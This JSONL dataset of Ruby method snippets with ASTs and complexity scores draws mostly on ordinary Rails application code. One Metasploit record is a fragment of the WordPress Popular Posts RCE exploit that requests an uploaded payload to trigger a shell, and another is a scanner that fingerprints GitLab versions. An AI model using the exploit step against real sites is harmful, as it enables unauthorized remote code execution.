{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/destroy/entity_leave_service.rb","start_line":102,"raw_source":"def authorized_guest_projects\n        user.authorized_projects(Gitlab::Access::GUEST).select(:id)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_guest_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"authorized_projects\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"GUEST\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"df2571be-faaa-45e2-b862-4677a025c61f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20171128172835_rename_clicked_topic_id_to_search_result_id.rb","start_line":4,"raw_source":"def up\n    rename_column :search_logs, :clicked_topic_id, :search_result_id\n    add_column :search_logs, :search_result_type, :integer, null: true\n\n    execute \"UPDATE search_logs SET search_result_type = 1 WHERE search_result_id is NOT NULL\"\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"search_logs\"]},{\"type\":\"sym\",\"children\":[\"clicked_topic_id\"]},{\"type\":\"sym\",\"children\":[\"search_result_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"search_logs\"]},{\"type\":\"sym\",\"children\":[\"search_result_type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE search_logs SET search_result_type = 1 WHERE search_result_id is NOT NULL\"]}]}]}]}","id":"db5ed563-72ab-4fd6-870a-a6cda3ed76b5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/dependencies/interlock.rb","start_line":45,"raw_source":"def permit_concurrent_loads(&block)\n        # Soft deprecated: no deprecation warning for now, but this is a no-op.\n        yield if block\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"permit_concurrent_loads\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[]},null]}]}","id":"c5742a0e-3bf4-4e7e-b611-490540197ed9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/formatters/json_formatter.rb","start_line":87,"raw_source":"def location_including_shared_examples(metadata)\n        if metadata[:shared_group_inclusion_backtrace].empty?\n          [metadata[:file_path], metadata[:line_number]]\n        else\n          # If there are nested shared examples, the outermost location is last in the array\n          (\n            metadata[:shared_group_inclusion_backtrace].last.formatted_inclusion_location ||\n              # RSpec ignores some paths by default, e.g. bin/, which result in the above being nil.\n              # Source: https://github.com/rspec/rspec-core/blob/v3.12.2/lib/rspec/core/backtrace_formatter.rb#L11\n              # In that case, we fallback to use the raw `#inclusion_location`.\n              metadata[:shared_group_inclusion_backtrace].last.inclusion_location\n          ).split(':')\n        end\n      end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"location_including_shared_examples\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_group_inclusion_backtrace\"]}]},\"empty?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_group_inclusion_backtrace\"]}]},\"last\"]},\"formatted_inclusion_location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_group_inclusion_backtrace\"]}]},\"last\"]},\"inclusion_location\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}","id":"9db7d3ab-7985-479b-8494-e8230bdf044f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/news/set_attributes_service.rb","start_line":40,"raw_source":"def set_default_author\n    model.change_by_system do\n      model.author = user\n    end\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"change_by_system\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"author=\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}","id":"21ebf757-c732-49c9-bfd7-f064f6704239"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/plugins.rb","start_line":192,"raw_source":"def bundler_specs_by_path\n      # NOTE: The rescue nil / delete nil dance is needed because of a bundler\n      # bug where on Ruby 2.5 the full_gem_path is a nonexistent directory for\n      # gems that are also default gems.\n      # See https://github.com/bundler/bundler/issues/6930.\n      @bundler_specs_by_path ||= Bundler.load.specs.index_by { |s| File.realpath(s.full_gem_path) rescue nil }.tap { |s| s.delete(nil) }\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"bundler_specs_by_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bundler_specs_by_path\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"load\"]},\"specs\"]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"realpath\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"full_gem_path\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"delete\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"44bf2b0b-57b1-4125-85f2-359b56ea1a9f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_popular_posts_rce.rb","start_line":88,"raw_source":"def trigger_payload(on_disk_payload_name)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path),\n      'keep_cookies' => true\n    )\n    # loop this 5 times just incase there is a time delay in writing the file by the server\n    (1..5).each do |i|\n      print_status(\"Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5\")\n      Rex.sleep(10)\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),\n        'keep_cookies' => true\n      )\n    end\n    if res && res.code == 404\n      print_error('Failed to find payload, may not have uploaded correctly.')\n    end\n  end","complexity_score":28.78,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"on_disk_payload_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Triggering shell at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"wp-content\"]},{\"type\":\"str\",\"children\":[\"uploads\"]},{\"type\":\"str\",\"children\":[\"wordpress-popular-posts\"]},{\"type\":\"lvar\",\"children\":[\"on_disk_payload_name\"]}]}]},{\"type\":\"str\",\"children\":[\" in 10 seconds. Attempt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\" of 5\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"wp-content\"]},{\"type\":\"str\",\"children\":[\"uploads\"]},{\"type\":\"str\",\"children\":[\"wordpress-popular-posts\"]},{\"type\":\"lvar\",\"children\":[\"on_disk_payload_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to find payload, may not have uploaded correctly.\"]}]},null]}]}]}","id":"4adf86d6-034c-4026-b96a-b3a104b363dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/group/relation_tree_restorer.rb","start_line":307,"raw_source":"def importable_class_sym\n          importable_class.to_s.downcase.to_sym\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"importable_class_sym\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importable_class\"]},\"to_s\"]},\"downcase\"]},\"to_sym\"]}]}","id":"bc7783d2-cee2-468f-9820-2ceebf17de1b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module_manager/module_paths.rb","start_line":19,"raw_source":"def add_module_path(path, opts={}, recalculate: true)\n    nested_paths = []\n\n    # remove trailing file separator\n    path_without_trailing_file_separator = path.sub(/#{File::SEPARATOR}$/, '')\n\n    # Make the path completely canonical\n    pathname = Pathname.new(path_without_trailing_file_separator).expand_path\n\n    # Make sure the path is a valid directory\n    unless pathname.directory?\n      raise ArgumentError, \"The path supplied is not a valid directory.\", caller\n    end\n\n    nested_paths << pathname.to_s\n\n    # Update the module paths appropriately\n    self.module_paths = (module_paths + nested_paths).flatten.uniq\n\n    # Load all of the modules from the nested paths\n    count_by_type = {}\n    nested_paths.each { |path|\n      path_count_by_type = load_modules(path, opts.merge({:force => false, recalculate: recalculate}))\n\n      # merge hashes\n      path_count_by_type.each do |type, path_count|\n        accumulated_count = count_by_type.fetch(type, 0)\n        count_by_type[type] = accumulated_count + path_count\n      end\n    }\n\n    return count_by_type\n  end","complexity_score":34.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_module_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"recalculate\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nested_paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"path_without_trailing_file_separator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"SEPARATOR\"]}]},{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path_without_trailing_file_separator\"]}]},\"expand_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pathname\"]},\"directory?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"The path supplied is not a valid directory.\"]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nested_paths\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pathname\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"module_paths=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_paths\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"nested_paths\"]}]}]},\"flatten\"]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count_by_type\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nested_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_count_by_type\",{\"type\":\"send\",\"children\":[null,\"load_modules\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recalculate\"]},{\"type\":\"lvar\",\"children\":[\"recalculate\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_count_by_type\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"path_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"accumulated_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count_by_type\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count_by_type\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accumulated_count\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"path_count\"]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count_by_type\"]}]}]}]}","id":"71789d1d-5352-49a1-93a6-f6624f11a0c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/dependency_proxy_for_containers_controller.rb","start_line":122,"raw_source":"def send_manifest(manifest, from_cache:)\n    response.headers[DependencyProxy::Manifest::DIGEST_HEADER] = manifest.digest\n    response.headers['Content-Length'] = manifest.size\n    response.headers['Docker-Distribution-Api-Version'] = DependencyProxy::DISTRIBUTION_API_VERSION\n    response.headers['Etag'] = \"\\\"#{manifest.digest}\\\"\"\n    content_type = manifest.content_type\n\n    event_name = tracking_event_name(object_type: :manifest, from_cache: from_cache)\n    track_package_event(event_name, :dependency_proxy, namespace: group, user: tracking_user)\n\n    send_upload(\n      manifest.file,\n      proxy: true,\n      redirect_params: { query: { 'response-content-type' => content_type } },\n      send_params: { type: content_type },\n      ssrf_params: ssrf_params\n    )\n  end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_manifest\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manifest\"]},{\"type\":\"kwarg\",\"children\":[\"from_cache\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"Manifest\"]},\"DIGEST_HEADER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest\"]},\"digest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Docker-Distribution-Api-Version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"DISTRIBUTION_API_VERSION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Etag\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest\"]},\"digest\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest\"]},\"content_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"event_name\",{\"type\":\"send\",\"children\":[null,\"tracking_event_name\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"sym\",\"children\":[\"manifest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_cache\"]},{\"type\":\"lvar\",\"children\":[\"from_cache\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"track_package_event\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"sym\",\"children\":[\"dependency_proxy\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"tracking_user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest\"]},\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"response-content-type\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssrf_params\"]},{\"type\":\"send\",\"children\":[null,\"ssrf_params\"]}]}]}]}]}]}","id":"d46c09f7-9bea-447d-a73a-f6431d98c2e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/register.rb","start_line":80,"raw_source":"def formatter_for(model, attribute, export_format)\n        formatter = formatters[model.to_s].find { |f| f.apply? attribute, export_format } || ::Exports::Formatters::Default\n        formatter.new(attribute)\n      end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"formatter_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"export_format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatter\",{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatters\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"to_s\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"apply?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"export_format\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exports\"]},\"Formatters\"]},\"Default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"64293ab2-a3fd-48f2-a843-edda7963cbd7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/gitlab_version.rb","start_line":22,"raw_source":"def run_host(ip)\n    version = gitlab_version\n    if version\n      print_good(\"Gitlab version range for #{ip}:#{datastore['RPORT']}: #{version}\")\n      report_note(\n        host: ip,\n        port: datastore['RPORT'],\n        proto: ssl ? 'https' : 'http',\n        ntype: 'gitlab.version',\n        data: { version: version }\n      )\n    else\n      print_error(\"Unable to find Gitlab version for #{ip}.\")\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"gitlab_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Gitlab version range for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ntype\"]},{\"type\":\"str\",\"children\":[\"gitlab.version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to find Gitlab version for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}","id":"c918f342-0315-48f6-826f-a0c217b8a5af"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/populate_template_parameters_service.rb","start_line":33,"raw_source":"def build_media_parameter(url, media_type, media_name = nil)\n    return nil if url.blank?\n\n    sanitized_url = sanitize_parameter(url)\n    normalized_url = normalize_url(sanitized_url)\n    validate_url(normalized_url)\n    build_media_type_parameter(normalized_url, media_type.downcase, media_name)\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_media_parameter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"media_type\"]},{\"type\":\"optarg\",\"children\":[\"media_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_url\",{\"type\":\"send\",\"children\":[null,\"sanitize_parameter\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"normalized_url\",{\"type\":\"send\",\"children\":[null,\"normalize_url\",{\"type\":\"lvar\",\"children\":[\"sanitized_url\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_url\",{\"type\":\"lvar\",\"children\":[\"normalized_url\"]}]},{\"type\":\"send\",\"children\":[null,\"build_media_type_parameter\",{\"type\":\"lvar\",\"children\":[\"normalized_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_type\"]},\"downcase\"]},{\"type\":\"lvar\",\"children\":[\"media_name\"]}]}]}]}","id":"6f7f7875-3210-4c36-b453-ff0d02e6df89"}
